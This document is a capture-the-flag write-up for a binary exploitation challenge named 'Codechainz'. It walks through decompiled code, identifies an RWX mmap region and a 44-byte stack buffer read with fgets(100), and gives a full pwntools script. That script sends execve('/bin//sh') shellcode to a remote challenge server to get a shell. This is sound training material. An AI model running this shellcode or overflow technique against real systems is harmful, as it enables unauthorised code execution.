Tags: shellcode nx mmap 

Rating:

# Codechainz

```Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

-----

```
Hey, this is an epic memory saver. #saved
Because of COVID-19 restrictions,
we can only do memory saving of programming languages.
We apologize for the inconvenience.

Preparing the memory space...
Memory space is ready for storing data.
DISCLAIMER: All your memories will be saved at 0x7efcd9390000.

Here are your options. Choose one:
1 Make a new memory
2 View a memory
3 Delete a memory
4 Exit
>
```

The first thing we can notice is that we have a leak of the stack address\
=> We can jump in that location if we have a BOF\
=> But the NX is enabled, so we can't execute a shellcode in the stack

So, decompile it in Ghidra:

=> We can notice there is a function named `init_memory`, at address `PIE BASE + 0x000011e5`, that essentially `mmap` the `memory_space` to `RWX`.

```c
void init_memory(void)

{
int *piVar1;

memory_space = mmap((void *)0x0,0x1e,7,0x22,-1,0);
if (memory_space == (void *)0xffffffffffffffff) {
perror("mmap");
fflush(stdout);
piVar1 = __errno_location();
/* WARNING: Subroutine does not return */
exit(*piVar1);
}
return;
}
```

=> NX mitigation is useless at this point\
=> We have only to find a buffer overflow to overwrite the return address and jump into a shellcode

When we add a new memory the function `input_str` is called:

```
void input_str(void)

{
char vulnerable_buffer [44];
int i;

memset(vulnerable_buffer,0,0x1e);
puts("Please input a programming language of your desire. I swear i will remember it.");
printf("> ");
fflush(stdout);
fgets(vulnerable_buffer,100,stdin);
for (i = 0; i < 0x1e; i = i + 1) {
memory_space[i] = vulnerable_buffer[i];
}
fflush(stdin);
return;
}
```

This function fgets 100 bytes into a buffer of 44 bytes\
=> We have a BOF\
=> We can use the leak given by the program to gain a shell.

```python
from pwn import *

exe = ELF("codechainz")

context.binary = exe
context.terminal = ["gnome-terminal", "-e"]

def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r)
else:
r = remote("51.124.222.205", 13370)

return r

def main():
r = conn()

r.recvuntil("saved at")

address = int(r.recvline(keepends=False)[3:-1], 16)

payload = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05".ljust(56, b"\x90") + p64(address)

r.sendline("1")

r.recvuntil("remember it.")
r.sendlineafter("> ", payload)

r.interactive()

if __name__ == "__main__":
main()
```